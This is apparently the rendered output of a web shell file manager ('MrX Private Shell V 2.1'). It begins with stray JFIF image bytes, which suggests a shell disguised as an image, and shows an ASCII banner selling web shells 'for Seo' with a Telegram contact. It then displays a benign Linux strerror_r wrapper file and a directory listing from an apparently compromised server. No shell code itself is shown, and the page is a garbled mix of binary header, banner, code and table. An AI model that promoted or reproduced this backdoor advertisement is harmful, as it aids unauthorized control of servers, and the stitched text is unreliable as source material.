����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
// SPDX-License-Identifier: GPL-2.0
#undef _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <linux/string.h>
/*
* The tools so far have been using the strerror_r() GNU variant, that returns
* a string, be it the buffer passed or something else.
*
* But that, besides being tricky in cases where we expect that the function
* using strerror_r() returns the error formatted in a provided buffer (we have
* to check if it returned something else and copy that instead), breaks the
* build on systems not using glibc, like Alpine Linux, where musl libc is
* used.
*
* So, introduce yet another wrapper, str_error_r(), that has the GNU
* interface, but uses the portable XSI variant of strerror_r(), so that users
* rest asured that the provided buffer is used and it is what is returned.
*/
char *str_error_r(int errnum, char *buf, size_t buflen)
{
int err = strerror_r(errnum, buf, buflen);
if (err)
snprintf(buf, buflen, "INTERNAL ERROR: strerror_r(%d, [buf], %zd)=%d", errnum, buflen, err);
return buf;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| api | Folder | 0755 |
|
|
| bpf | Folder | 0755 |
|
|
| lockdep | Folder | 0755 |
|
|
| perf | Folder | 0755 |
|
|
| subcmd | Folder | 0755 |
|
|
| symbol | Folder | 0755 |
|
|
| argv_split.c | File | 1.68 KB | 0644 |
|
| bitmap.c | File | 2.88 KB | 0644 |
|
| ctype.c | File | 1.34 KB | 0644 |
|
| find_bit.c | File | 2.98 KB | 0644 |
|
| hweight.c | File | 1.77 KB | 0644 |
|
| list_sort.c | File | 7.82 KB | 0644 |
|
| rbtree.c | File | 16.09 KB | 0644 |
|
| slab.c | File | 664 B | 0644 |
|
| str_error_r.c | File | 1.01 KB | 0644 |
|
| string.c | File | 4.65 KB | 0644 |
|
| vsprintf.c | File | 900 B | 0644 |
|
| zalloc.c | File | 197 B | 0644 |
|